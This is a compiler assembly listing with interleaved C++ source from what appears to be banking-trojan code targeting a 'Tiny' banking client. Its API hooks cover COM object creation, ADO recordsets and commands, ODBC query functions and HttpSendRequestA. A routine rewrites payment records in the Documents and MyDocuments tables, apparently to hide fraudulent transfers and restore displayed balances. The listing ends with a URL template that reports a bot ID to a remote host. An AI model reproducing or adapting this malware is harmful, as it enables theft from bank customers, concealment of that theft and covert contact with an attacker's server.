  0011e	8d 45 d4	 lea	 eax, DWORD PTR _endDay$100827[ebp]
  00121	53		 push	 ebx
  00122	50		 push	 eax
  00123	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
; 1520 : 			endDay.hour = 23;
  00128	6a 17		 push	 23			; 00000017H
  0012a	58		 pop	 eax
; 1521 : 			endDay.minute = 59;
  0012b	6a 3b		 push	 59			; 0000003bH
  0012d	66 89 45 da	 mov	 WORD PTR _endDay$100827[ebp+6], ax
  00131	58		 pop	 eax
  00132	66 89 45 dc	 mov	 WORD PTR _endDay$100827[ebp+8], ax
; 1522 : 			endDay.second = 59;
  00136	66 89 45 de	 mov	 WORD PTR _endDay$100827[ebp+10], ax
; 1523 : 
; 1524 : 			sql = "update Documents set OrgDate=?, DayDate=? where DebitInit=? and Created>=? and Created<=? and Code=?";
; 1525 : 			SQLHSTMT qr = DB->ExecuteSql( sql, "ii ii is24 it it is31", &hidePayments[n].orgDate, &hidePayments[n].dayDate, hidePayments[n].account, &hidePayments[n].date, &endDay, &hidePayments[n].num );
  0013a	8d 86 20 00 00
	00		 lea	 eax, DWORD PTR _hidePayments[esi+32]
  00140	50		 push	 eax
  00141	8d 45 d4	 lea	 eax, DWORD PTR _endDay$100827[ebp]
  00144	50		 push	 eax
  00145	53		 push	 ebx
  00146	57		 push	 edi
  00147	8d 8e 5c 00 00
	00		 lea	 ecx, DWORD PTR _hidePayments[esi+92]
  0014d	51		 push	 ecx
  0014e	8d 96 58 00 00
	00		 lea	 edx, DWORD PTR _hidePayments[esi+88]
  00154	52		 push	 edx
  00155	68 00 00 00 00	 push	 OFFSET ??_C@_0BG@BBFKAGDE@ii?5ii?5is24?5it?5it?5is31?$AA@
  0015a	68 00 00 00 00	 push	 OFFSET ??_C@_0GF@GGLMKAMP@update?5Documents?5set?5OrgDate?$DN?$DP?0?5@
  0015f	ff 75 fc	 push	 DWORD PTR _DB$[ebp]
  00162	89 4d f0	 mov	 DWORD PTR tv314[ebp], ecx
  00165	89 55 f4	 mov	 DWORD PTR tv315[ebp], edx
  00168	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
; 1526 : 			DB->CloseQuery(qr);
  0016d	8b 4d fc	 mov	 ecx, DWORD PTR _DB$[ebp]
  00170	83 c4 30	 add	 esp, 48			; 00000030H
  00173	50		 push	 eax
  00174	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1527 : 
; 1528 : 			sql = "update MyDocuments set OrgDate=?, DayDate=?, PayDate=? where DebitInit=? and Created>=? and Created<=? and Code=?";
; 1529 : 			qr = DB->ExecuteSql( sql, "ii ii ii is24 it it is31", &hidePayments[n].orgDate, &hidePayments[n].dayDate, &hidePayments[n].payDate, hidePayments[n].account, &hidePayments[n].date, &endDay, &hidePayments[n].num );
  00179	8d 86 20 00 00
	00		 lea	 eax, DWORD PTR _hidePayments[esi+32]
  0017f	50		 push	 eax
  00180	8d 45 d4	 lea	 eax, DWORD PTR _endDay$100827[ebp]
  00183	50		 push	 eax
  00184	53		 push	 ebx
  00185	57		 push	 edi
  00186	8d 86 60 00 00
	00		 lea	 eax, DWORD PTR _hidePayments[esi+96]
  0018c	50		 push	 eax
  0018d	ff 75 f0	 push	 DWORD PTR tv314[ebp]
  00190	ff 75 f4	 push	 DWORD PTR tv315[ebp]
  00193	68 00 00 00 00	 push	 OFFSET ??_C@_0BJ@FLPIDOAJ@ii?5ii?5ii?5is24?5it?5it?5is31?$AA@
  00198	68 00 00 00 00	 push	 OFFSET ??_C@_0HC@KOAOEGOO@update?5MyDocuments?5set?5OrgDate?$DN?$DP@
  0019d	ff 75 fc	 push	 DWORD PTR _DB$[ebp]
  001a0	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
; 1530 : 			DB->CloseQuery(qr);
  001a5	8b 4d fc	 mov	 ecx, DWORD PTR _DB$[ebp]
  001a8	83 c4 28	 add	 esp, 40			; 00000028H
  001ab	50		 push	 eax
  001ac	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1531 : 			n++;
  001b1	ff 45 f8	 inc	 DWORD PTR _n$100807[ebp]
  001b4	8b 75 f8	 mov	 esi, DWORD PTR _n$100807[ebp]
  001b7	6b f6 68	 imul	 esi, 104		; 00000068H
  001ba	8d be 00 00 00
	00		 lea	 edi, DWORD PTR _hidePayments[esi]
  001c0	80 3f 00	 cmp	 BYTE PTR [edi], 0
  001c3	0f 85 4d ff ff
	ff		 jne	 $LL2@RestoreBal
$LN1@RestoreBal:
; 1532 : 		}
; 1533 : 
; 1534 : 		CloseDB(DB);
  001c9	8b 4d fc	 mov	 ecx, DWORD PTR _DB$[ebp]
  001cc	8b 01		 mov	 eax, DWORD PTR [ecx]
  001ce	6a 01		 push	 1
  001d0	ff 10		 call	 DWORD PTR [eax]
; 1535 : 	}
  001d2	ff 75 e4	 push	 DWORD PTR _sqlBuf$100803[ebp]
  001d5	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  001da	59		 pop	 ecx
  001db	5f		 pop	 edi
  001dc	5b		 pop	 ebx
$LN41@RestoreBal:
  001dd	5e		 pop	 esi
; 1536 : }
  001de	c9		 leave
  001df	c3		 ret	 0
?RestoreBalansAndDocs@Tiny@@YAXXZ ENDP			; Tiny::RestoreBalansAndDocs
_TEXT	ENDS
PUBLIC	?IsEmpty@?$TString@D@@QBE_NXZ			; TString<char>::IsEmpty
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ?IsEmpty@?$TString@D@@QBE_NXZ
_TEXT	SEGMENT
?IsEmpty@?$TString@D@@QBE_NXZ PROC			; TString<char>::IsEmpty, COMDAT
; _this$ = ecx
; 695  : 	return STRUTILS<TChar>::IsEmpty(Data);
  00000	ff 71 04	 push	 DWORD PTR [ecx+4]
  00003	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  00008	59		 pop	 ecx
; 696  : }
  00009	c3		 ret	 0
?IsEmpty@?$TString@D@@QBE_NXZ ENDP			; TString<char>::IsEmpty
_TEXT	ENDS
PUBLIC	??$Release@D@STRBUF@@YAXAAPAD@Z			; STRBUF::Release<char>
EXTRN	?Free@HEAP@@YAXPAX@Z:PROC			; HEAP::Free
; Function compile flags: /Ogspy
;	COMDAT ??$Release@D@STRBUF@@YAXAAPAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$Release@D@STRBUF@@YAXAAPAD@Z PROC			; STRBUF::Release<char>, COMDAT
; 401  : {
  00000	56		 push	 esi
; 402  : 	// 
; 403  : 	if (Str)
  00001	8b 74 24 08	 mov	 esi, DWORD PTR _Str$[esp]
  00005	8b 06		 mov	 eax, DWORD PTR [esi]
  00007	85 c0		 test	 eax, eax
  00009	74 12		 je	 SHORT $LN2@Release
; 404  : 	{
; 405  : 		TStrRec &R = GetRec(Str);
  0000b	83 c0 f4	 add	 eax, -12		; fffffff4H
; 406  : 		R.RefCount--;
  0000e	ff 48 08	 dec	 DWORD PTR [eax+8]
; 407  : 		if (R.RefCount == 0)
  00011	75 07		 jne	 SHORT $LN1@Release
; 408  :             HEAP::Free(&R);
  00013	50		 push	 eax
  00014	e8 00 00 00 00	 call	 ?Free@HEAP@@YAXPAX@Z	; HEAP::Free
  00019	59		 pop	 ecx
$LN1@Release:
; 409  :         Str = NULL;
  0001a	83 26 00	 and	 DWORD PTR [esi], 0
$LN2@Release:
  0001d	5e		 pop	 esi
; 410  :     }
; 411  : }
  0001e	c3		 ret	 0
??$Release@D@STRBUF@@YAXAAPAD@Z ENDP			; STRBUF::Release<char>
_TEXT	ENDS
_BSS	SEGMENT
_RealHttpSendRequestA DD 01H DUP (?)
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
_BSS	ENDS
;	COMDAT ?HandlerHttpSendRequestA@Tiny@@YGHPAXPBDK0K@Z
_TEXT	SEGMENT
_hRequest$ = 8						; size = 4
_lpszHeaders$ = 12					; size = 4
_dwHeadersLength$ = 16					; size = 4
_lpOptional$ = 20					; size = 4
_dwOptionalLength$ = 24					; size = 4
?HandlerHttpSendRequestA@Tiny@@YGHPAXPBDK0K@Z PROC	; Tiny::HandlerHttpSendRequestA, COMDAT
; 607  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 608  : 	DBG( "Tiny", "HandlerHttpSendRequestA()" );
; 609  : 	if( replacementDone )
  00003	80 3d 00 00 00
	00 00		 cmp	 BYTE PTR _replacementDone, 0
  0000a	74 0c		 je	 SHORT $LN1@HandlerHtt
; 610  : 	{
; 611  : 		RestoreBalansAndDocs();
  0000c	e8 00 00 00 00	 call	 ?RestoreBalansAndDocs@Tiny@@YAXXZ ; Tiny::RestoreBalansAndDocs
; 612  : 		replacementDone = false;
  00011	c6 05 00 00 00
	00 00		 mov	 BYTE PTR _replacementDone, 0
$LN1@HandlerHtt:
; 615  : }
  00018	5d		 pop	 ebp
; 613  : 	}
; 614  : 	return RealHttpSendRequestA( hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength );
  00019	ff 25 00 00 00
	00		 jmp	 DWORD PTR _RealHttpSendRequestA
?HandlerHttpSendRequestA@Tiny@@YGHPAXPBDK0K@Z ENDP	; Tiny::HandlerHttpSendRequestA
_TEXT	ENDS
_BSS	SEGMENT
_RealRecordset_Open DD 01H DUP (?)
; Function compile flags: /Ogspy
_BSS	ENDS
;	COMDAT ?HandlerRecordset_Open@Tiny@@YGJPAXUtagVARIANT@@1W4CursorTypeEnum@@W4LockTypeEnum@@J@Z
_TEXT	SEGMENT
_index$100183 = -20					; size = 16
_item$100182 = -4					; size = 4
_nums$100186 = 8					; size = 4
_This$ = 8						; size = 4
_Source$ = 12						; size = 16
_ActiveConnection$ = 28					; size = 16
_handlerFuncs$100187 = 44				; size = 4
_CursorType$ = 44					; size = 4
_realFuncs$100188 = 48					; size = 4
_LockType$ = 48						; size = 4
_fields$100177 = 52					; size = 4
_Options$ = 52						; size = 4
?HandlerRecordset_Open@Tiny@@YGJPAXUtagVARIANT@@1W4CursorTypeEnum@@W4LockTypeEnum@@J@Z PROC ; Tiny::HandlerRecordset_Open, COMDAT
; 682  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 14	 sub	 esp, 20			; 00000014H
  00006	53		 push	 ebx
  00007	56		 push	 esi
  00008	57		 push	 edi
; 683  : //	DBG( "Tiny", "Recordset_Open: %d,%d", (int)Source.vt, (int)ActiveConnection.vt );
; 684  : 	HRESULT hr = RealRecordset_Open( This, Source, ActiveConnection, CursorType, LockType, Options );
  00009	ff 75 34	 push	 DWORD PTR _Options$[ebp]
  0000c	8d 75 1c	 lea	 esi, DWORD PTR _ActiveConnection$[ebp]
  0000f	ff 75 30	 push	 DWORD PTR _LockType$[ebp]
  00012	ff 75 2c	 push	 DWORD PTR _CursorType$[ebp]
  00015	83 ec 10	 sub	 esp, 16			; 00000010H
  00018	8b fc		 mov	 edi, esp
  0001a	a5		 movsd
  0001b	a5		 movsd
  0001c	a5		 movsd
  0001d	a5		 movsd
  0001e	83 ec 10	 sub	 esp, 16			; 00000010H
  00021	8b fc		 mov	 edi, esp
  00023	8d 75 0c	 lea	 esi, DWORD PTR _Source$[ebp]
  00026	a5		 movsd
  00027	a5		 movsd
  00028	a5		 movsd
  00029	a5		 movsd
  0002a	8b 75 08	 mov	 esi, DWORD PTR _This$[ebp]
  0002d	56		 push	 esi
  0002e	ff 15 00 00 00
	00		 call	 DWORD PTR _RealRecordset_Open
  00034	8b d8		 mov	 ebx, eax
; 685  : 	if( SUCCEEDED(hr) )
  00036	85 db		 test	 ebx, ebx
  00038	7c 69		 jl	 SHORT $LN1@HandlerRec
; 686  : 	{
; 687  : 		type_get_Fields get_Fields = (type_get_Fields)GetInterfaceFunc( This, 21 );
  0003a	8b 06		 mov	 eax, DWORD PTR [esi]
  0003c	8b 40 54	 mov	 eax, DWORD PTR [eax+84]
; 688  : 		void* fields = 0;
  0003f	83 65 34 00	 and	 DWORD PTR _fields$100177[ebp], 0
; 689  : 		if( SUCCEEDED( get_Fields( This, &fields ) ) )
  00043	8d 4d 34	 lea	 ecx, DWORD PTR _fields$100177[ebp]
  00046	51		 push	 ecx
  00047	56		 push	 esi
  00048	ff d0		 call	 eax
  0004a	85 c0		 test	 eax, eax
  0004c	7c 55		 jl	 SHORT $LN1@HandlerRec
; 690  : 		{
; 691  : 			type_get_Item get_Item = (type_get_Item)GetInterfaceFunc( fields, 10 );
; 692  : 			void* item;
; 693  : 			VARIANT index;
; 694  : 			index.vt = VT_I4; index.lVal = 0;
  0004e	83 65 f4 00	 and	 DWORD PTR _index$100183[ebp+8], 0
  00052	8b 45 34	 mov	 eax, DWORD PTR _fields$100177[ebp]
  00055	8b 08		 mov	 ecx, DWORD PTR [eax]
  00057	8b 49 28	 mov	 ecx, DWORD PTR [ecx+40]
  0005a	6a 03		 push	 3
  0005c	5a		 pop	 edx
  0005d	66 89 55 ec	 mov	 WORD PTR _index$100183[ebp], dx
; 695  : 			if( SUCCEEDED( get_Item( fields, index, &item ) ) )
  00061	8d 55 fc	 lea	 edx, DWORD PTR _item$100182[ebp]
  00064	52		 push	 edx
  00065	83 ec 10	 sub	 esp, 16			; 00000010H
  00068	8b fc		 mov	 edi, esp
  0006a	8d 75 ec	 lea	 esi, DWORD PTR _index$100183[ebp]
  0006d	a5		 movsd
  0006e	a5		 movsd
  0006f	a5		 movsd
  00070	50		 push	 eax
  00071	a5		 movsd
  00072	ff d1		 call	 ecx
  00074	85 c0		 test	 eax, eax
  00076	7c 2b		 jl	 SHORT $LN1@HandlerRec
; 696  : 			{
; 697  : 				int nums[] = {13};
; 698  : 				void* handlerFuncs[] = {&HandlerField_get_Value};
; 699  : 				void* realFuncs[] = {&RealField_get_Value};
; 700  : 				if( ReplacementFuncs( &item, nums, handlerFuncs, realFuncs, 1 ) )
  00078	8d 45 30	 lea	 eax, DWORD PTR _realFuncs$100188[ebp]
  0007b	6a 01		 push	 1
  0007d	50		 push	 eax
  0007e	8d 4d 2c	 lea	 ecx, DWORD PTR _handlerFuncs$100187[ebp]
  00081	8d 55 08	 lea	 edx, DWORD PTR _nums$100186[ebp]
  00084	8d 45 fc	 lea	 eax, DWORD PTR _item$100182[ebp]
  00087	c7 45 08 0d 00
	00 00		 mov	 DWORD PTR _nums$100186[ebp], 13 ; 0000000dH
  0008e	c7 45 2c 00 00
	00 00		 mov	 DWORD PTR _handlerFuncs$100187[ebp], OFFSET ?HandlerField_get_Value@Tiny@@YGJPAXPAUtagVARIANT@@@Z ; Tiny::HandlerField_get_Value
  00095	c7 45 30 00 00
	00 00		 mov	 DWORD PTR _realFuncs$100188[ebp], OFFSET _RealField_get_Value
  0009c	e8 00 00 00 00	 call	 ?ReplacementFuncs@Tiny@@YA_NPAPAXPAH00H@Z ; Tiny::ReplacementFuncs
  000a1	59		 pop	 ecx
  000a2	59		 pop	 ecx
$LN1@HandlerRec:
; 701  : 				{
; 702  : //					DBG( "Tiny", "
 Field_get_Value" );
; 703  : 				}
; 704  : 			}
; 705  : 		}
; 706  : 	}
; 707  : 	return hr;
; 708  : }
  000a3	5f		 pop	 edi
  000a4	5e		 pop	 esi
  000a5	8b c3		 mov	 eax, ebx
  000a7	5b		 pop	 ebx
  000a8	c9		 leave
  000a9	c2 30 00	 ret	 48			; 00000030H
?HandlerRecordset_Open@Tiny@@YGJPAXUtagVARIANT@@1W4CursorTypeEnum@@W4LockTypeEnum@@J@Z ENDP ; Tiny::HandlerRecordset_Open
_TEXT	ENDS
EXTRN	?m_memcmp@@YAHPBX0I@Z:PROC			; m_memcmp
_BSS	SEGMENT
_RealCoCreateInstance DD 01H DUP (?)
; Function compile flags: /Ogspy
_BSS	ENDS
;	COMDAT ?HandlerCoCreateInstance@Tiny@@YGJABU_GUID@@PAUIUnknown@@K0PAPAX@Z
_TEXT	SEGMENT
_rclsid$ = 8						; size = 4
_pUnkOuter$ = 12					; size = 4
_nums$100325 = 16					; size = 4
_nums$100318 = 16					; size = 4
_nums$100311 = 16					; size = 4
_dwClsContext$ = 16					; size = 4
_handlerFuncs$100326 = 20				; size = 4
_handlerFuncs$100319 = 20				; size = 4
_handlerFuncs$100312 = 20				; size = 4
_riid$ = 20						; size = 4
_realFuncs$100327 = 24					; size = 4
_realFuncs$100320 = 24					; size = 4
_realFuncs$100313 = 24					; size = 4
_ppv$ = 24						; size = 4
?HandlerCoCreateInstance@Tiny@@YGJABU_GUID@@PAUIUnknown@@K0PAPAX@Z PROC ; Tiny::HandlerCoCreateInstance, COMDAT
; 815  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	53		 push	 ebx
  00004	56		 push	 esi
; 816  : //	char buf1[96], buf2[96];
; 817  : //	ToHex( buf1, (BYTE*)&rclsid, sizeof(CLSID) );
; 818  : //	ToHex( buf2, (BYTE*)&riid, sizeof(IID) );
; 819  : //	DBG( "Tiny", "rclsid=%s, riid=%s", buf1, buf2 );
; 820  : 	HRESULT hr = RealCoCreateInstance( rclsid, pUnkOuter, dwClsContext, riid, ppv );
  00005	8b 75 08	 mov	 esi, DWORD PTR _rclsid$[ebp]
  00008	57		 push	 edi
  00009	8b 7d 18	 mov	 edi, DWORD PTR _ppv$[ebp]
  0000c	57		 push	 edi
  0000d	ff 75 14	 push	 DWORD PTR _riid$[ebp]
  00010	ff 75 10	 push	 DWORD PTR _dwClsContext$[ebp]
  00013	ff 75 0c	 push	 DWORD PTR _pUnkOuter$[ebp]
  00016	56		 push	 esi
  00017	ff 15 00 00 00
	00		 call	 DWORD PTR _RealCoCreateInstance
  0001d	8b d8		 mov	 ebx, eax
; 821  : 	//
; 822  : 	if( SUCCEEDED(hr) )
  0001f	85 db		 test	 ebx, ebx
  00021	0f 8c 94 00 00
	00		 jl	 $LN1@HandlerCoC
; 823  : 	{
; 824  : 		if( m_memcmp( &rclsid, &IID_Connection, sizeof(IID) ) == 0 ) 
  00027	6a 10		 push	 16			; 00000010H
  00029	68 00 00 00 00	 push	 OFFSET ?IID_Connection@Tiny@@3U_GUID@@A ; Tiny::IID_Connection
  0002e	56		 push	 esi
  0002f	e8 00 00 00 00	 call	 ?m_memcmp@@YAHPBX0I@Z	; m_memcmp
  00034	83 c4 0c	 add	 esp, 12			; 0000000cH
  00037	85 c0		 test	 eax, eax
  00039	75 17		 jne	 SHORT $LN8@HandlerCoC
; 825  : 		{
; 826  : 			int nums[] = {20};
  0003b	c7 45 10 14 00
	00 00		 mov	 DWORD PTR _nums$100311[ebp], 20 ; 00000014H
; 827  : 			void* handlerFuncs[] = {&HandlerConnection_Open};
  00042	c7 45 14 00 00
	00 00		 mov	 DWORD PTR _handlerFuncs$100312[ebp], OFFSET ?HandlerConnection_Open@Tiny@@YGJPAXPA_W11J@Z ; Tiny::HandlerConnection_Open
; 828  : 			void* realFuncs[] = {&RealConnection_Open};
  00049	c7 45 18 00 00
	00 00		 mov	 DWORD PTR _realFuncs$100313[ebp], OFFSET _RealConnection_Open
; 829  : 			if( ReplacementFuncs( ppv, nums, handlerFuncs, realFuncs, 1 ) )
; 830  : 			{
; 831  : //				DBG( "Tiny", "
 Connection_Open" );
; 832  : 			}
; 833  : 		}
  00050	eb 54		 jmp	 SHORT $LN12@HandlerCoC
$LN8@HandlerCoC:
; 834  : 		else if ( m_memcmp( &rclsid, &IID_Recordset, sizeof(IID) ) == 0 ) 
  00052	6a 10		 push	 16			; 00000010H
  00054	68 00 00 00 00	 push	 OFFSET ?IID_Recordset@Tiny@@3U_GUID@@A ; Tiny::IID_Recordset
  00059	56		 push	 esi
  0005a	e8 00 00 00 00	 call	 ?m_memcmp@@YAHPBX0I@Z	; m_memcmp
  0005f	83 c4 0c	 add	 esp, 12			; 0000000cH
  00062	85 c0		 test	 eax, eax
  00064	75 17		 jne	 SHORT $LN5@HandlerCoC
; 835  : 		{
; 836  : 			int nums[] = {40};
  00066	c7 45 10 28 00
	00 00		 mov	 DWORD PTR _nums$100318[ebp], 40 ; 00000028H
; 837  : 			void* handlerFuncs[] = {&HandlerRecordset_Open};
  0006d	c7 45 14 00 00
	00 00		 mov	 DWORD PTR _handlerFuncs$100319[ebp], OFFSET ?HandlerRecordset_Open@Tiny@@YGJPAXUtagVARIANT@@1W4CursorTypeEnum@@W4LockTypeEnum@@J@Z ; Tiny::HandlerRecordset_Open
; 838  : 			void* realFuncs[] = {&RealRecordset_Open};
  00074	c7 45 18 00 00
	00 00		 mov	 DWORD PTR _realFuncs$100320[ebp], OFFSET _RealRecordset_Open
; 839  : 			if( ReplacementFuncs( ppv, nums, handlerFuncs, realFuncs, 1 ) )
; 840  : 			{
; 841  : //				DBG( "Tiny", "
 Recordeset_Open" );
; 842  : 			}
; 843  : 		}
  0007b	eb 29		 jmp	 SHORT $LN12@HandlerCoC
$LN5@HandlerCoC:
; 844  : 		else if ( m_memcmp( &rclsid, &IID_Command, sizeof(IID) ) == 0 ) 
  0007d	6a 10		 push	 16			; 00000010H
  0007f	68 00 00 00 00	 push	 OFFSET ?IID_Command@Tiny@@3U_GUID@@A ; Tiny::IID_Command
  00084	56		 push	 esi
  00085	e8 00 00 00 00	 call	 ?m_memcmp@@YAHPBX0I@Z	; m_memcmp
  0008a	83 c4 0c	 add	 esp, 12			; 0000000cH
  0008d	85 c0		 test	 eax, eax
  0008f	75 2a		 jne	 SHORT $LN1@HandlerCoC
; 845  : 		{
; 846  : 			int nums[] = {12};
  00091	c7 45 10 0c 00
	00 00		 mov	 DWORD PTR _nums$100325[ebp], 12 ; 0000000cH
; 847  : 			void* handlerFuncs[] = {&HandlerCommand_put_CommandText};
  00098	c7 45 14 00 00
	00 00		 mov	 DWORD PTR _handlerFuncs$100326[ebp], OFFSET ?HandlerCommand_put_CommandText@Tiny@@YGJPAXPA_W@Z ; Tiny::HandlerCommand_put_CommandText
; 848  : 			void* realFuncs[] = {&RealCommand_put_CommandText};
  0009f	c7 45 18 00 00
	00 00		 mov	 DWORD PTR _realFuncs$100327[ebp], OFFSET _RealCommand_put_CommandText
$LN12@HandlerCoC:
; 849  : 			if( ReplacementFuncs( ppv, nums, handlerFuncs, realFuncs, 1 ) )
  000a6	8d 45 18	 lea	 eax, DWORD PTR _realFuncs$100327[ebp]
  000a9	6a 01		 push	 1
  000ab	50		 push	 eax
  000ac	8d 4d 14	 lea	 ecx, DWORD PTR _handlerFuncs$100326[ebp]
  000af	8d 55 10	 lea	 edx, DWORD PTR _nums$100325[ebp]
  000b2	8b c7		 mov	 eax, edi
  000b4	e8 00 00 00 00	 call	 ?ReplacementFuncs@Tiny@@YA_NPAPAXPAH00H@Z ; Tiny::ReplacementFuncs
  000b9	59		 pop	 ecx
  000ba	59		 pop	 ecx
$LN1@HandlerCoC:
  000bb	5f		 pop	 edi
  000bc	5e		 pop	 esi
; 850  : 			{
; 851  : //				DBG( "Tiny", "
 Command_put_CommandText" );
; 852  : 			}
; 853  : 		}
; 854  : 	}
; 855  : 	return hr;
  000bd	8b c3		 mov	 eax, ebx
  000bf	5b		 pop	 ebx
; 856  : }
  000c0	5d		 pop	 ebp
  000c1	c2 14 00	 ret	 20			; 00000014H
?HandlerCoCreateInstance@Tiny@@YGJABU_GUID@@PAUIUnknown@@K0PAPAX@Z ENDP ; Tiny::HandlerCoCreateInstance
_TEXT	ENDS
EXTRN	?HookApi@@YAPAXKKPAX0@Z:PROC			; HookApi
; Function compile flags: /Ogspy
;	COMDAT ?SetHooks2@Tiny@@YA_NXZ
_TEXT	SEGMENT
?SetHooks2@Tiny@@YA_NXZ PROC				; Tiny::SetHooks2, COMDAT
; 977  : 	if( HashCurrProcess == PROCESS_HASH ) //
 OleDb
  00000	81 3d 00 00 00
	00 12 db 30 95	 cmp	 DWORD PTR _HashCurrProcess, -1791960302 ; 9530db12H
  0000a	75 19		 jne	 SHORT $LN8@SetHooks2
; 978  : 	{
; 979  : 		if( HookApi( DLL_OLE32, 0x368435BE, &HandlerCoCreateInstance, &RealCoCreateInstance ) )
  0000c	68 00 00 00 00	 push	 OFFSET _RealCoCreateInstance
  00011	68 00 00 00 00	 push	 OFFSET ?HandlerCoCreateInstance@Tiny@@YGJABU_GUID@@PAUIUnknown@@K0PAPAX@Z ; Tiny::HandlerCoCreateInstance
  00016	68 be 35 84 36	 push	 914634174		; 368435beH
  0001b	6a 19		 push	 25			; 00000019H
  0001d	e8 00 00 00 00	 call	 ?HookApi@@YAPAXKKPAX0@Z	; HookApi
  00022	83 c4 10	 add	 esp, 16			; 00000010H
; 980  : 			DBG( "Tiny", "
 CoCreateInstance" );
$LN8@SetHooks2:
; 981  : 	}
; 982  : 	if( HashCurrProcess == PROCESS_HASH2 ) //
  00025	81 3d 00 00 00
	00 cb 99 bb 97	 cmp	 DWORD PTR _HashCurrProcess, -1749313077 ; 97bb99cbH
  0002f	75 2f		 jne	 SHORT $LN12@SetHooks2
; 983  : 	{
; 984  : //		if( HookApi( DLL_ODBC32, 0x3941DBB7, HandlerSQLDriverConnectA, &RealHandlerSQLDriverConnectA ) ) 
; 985  : //			DBG( "Tiny", "
 SQLDriverConnectA" );
; 986  : 		if( HookApi( DLL_ODBC32, 0xC09D6D06, HandlerSQLPrepareA, &RealSQLPrepareA ) ) 
  00031	68 00 00 00 00	 push	 OFFSET ?RealSQLPrepareA@Tiny@@3P6GFPAXPAEJ@ZA ; Tiny::RealSQLPrepareA
  00036	68 00 00 00 00	 push	 OFFSET ?HandlerSQLPrepareA@Tiny@@YGFPAXPAEJ@Z ; Tiny::HandlerSQLPrepareA
  0003b	68 06 6d 9d c0	 push	 -1063424762		; c09d6d06H
  00040	6a 17		 push	 23			; 00000017H
  00042	e8 00 00 00 00	 call	 ?HookApi@@YAPAXKKPAX0@Z	; HookApi
; 987  : 			DBG( "Tiny", "
 SQLPrepareA" );
; 988  : 		if( HookApi( DLL_ODBC32, 0xD4667870, HandlerSQLExecDirectA, &RealSQLExecDirectA ) ) 
  00047	68 00 00 00 00	 push	 OFFSET ?RealSQLExecDirectA@Tiny@@3P6GFPAXPAEJ@ZA ; Tiny::RealSQLExecDirectA
  0004c	68 00 00 00 00	 push	 OFFSET ?HandlerSQLExecDirectA@Tiny@@YGFPAXPAEJ@Z ; Tiny::HandlerSQLExecDirectA
  00051	68 70 78 66 d4	 push	 -731482000		; d4667870H
  00056	6a 17		 push	 23			; 00000017H
  00058	e8 00 00 00 00	 call	 ?HookApi@@YAPAXKKPAX0@Z	; HookApi
  0005d	83 c4 20	 add	 esp, 32			; 00000020H
; 989  : 			DBG( "Tiny", "
 SQLExecDirectA" );
$LN12@SetHooks2:
; 990  : 	}
; 991  : 	return true;
  00060	b0 01		 mov	 al, 1
; 992  : }
  00062	c3		 ret	 0
?SetHooks2@Tiny@@YA_NXZ ENDP				; Tiny::SetHooks2
_TEXT	ENDS
PUBLIC	??_7?$TString@D@@6B@				; TString<char>::`vftable'
PUBLIC	??1?$TString@D@@UAE@XZ				; TString<char>::~TString<char>
EXTRN	??_E?$TString@D@@UAEPAXI@Z:PROC			; TString<char>::`vector deleting destructor'
;	COMDAT ??_7?$TString@D@@6B@
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
CONST	SEGMENT
??_7?$TString@D@@6B@ DD FLAT:??_E?$TString@D@@UAEPAXI@Z	; TString<char>::`vftable'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	ENDS
;	COMDAT ??1?$TString@D@@UAE@XZ
_TEXT	SEGMENT
??1?$TString@D@@UAE@XZ PROC				; TString<char>::~TString<char>, COMDAT
; _this$ = ecx
; 676  : {
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 677  : 	STRBUF::Release<TChar>(Data);
  00003	8d 46 04	 lea	 eax, DWORD PTR [esi+4]
  00006	50		 push	 eax
  00007	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  0000d	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
  00012	59		 pop	 ecx
; 678  : }
  00013	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@
  00019	5e		 pop	 esi
  0001a	c3		 ret	 0
??1?$TString@D@@UAE@XZ ENDP				; TString<char>::~TString<char>
_TEXT	ENDS
PUBLIC	??_C@_0FC@LGGMAAOJ@http?3?1?1?$CFs?1raf?1?$DPuid?$DN?$CFs?$CGsys?$DNtiny?$CGc@ ; `string'
PUBLIC	??_C@_05KBEOJPB@?$CFd?4?$CFd?$AA@		; `string'
EXTRN	??1THTTP@@UAE@XZ:PROC				; THTTP::~THTTP
EXTRN	?Get@THTTP@@QAE?AV?$TString@D@@PBD@Z:PROC	; THTTP::Get
EXTRN	??0THTTP@@QAE@XZ:PROC				; THTTP::THTTP
EXTRN	?BOT_UID@@3PADA:BYTE				; BOT_UID
EXTRN	?GetAzUser@@YA?AV?$TString@D@@XZ:PROC		; GetAzUser
EXTRN	?URLEncode@@YAPADPADK@Z:PROC			; URLEncode
EXTRN	?GetAzHost@@YA?AV?$TString@D@@_N@Z:PROC		; GetAzHost
;	COMDAT ??_C@_0FC@LGGMAAOJ@http?3?1?1?$CFs?1raf?1?$DPuid?$DN?$CFs?$CGsys?$DNtiny?$CGc@
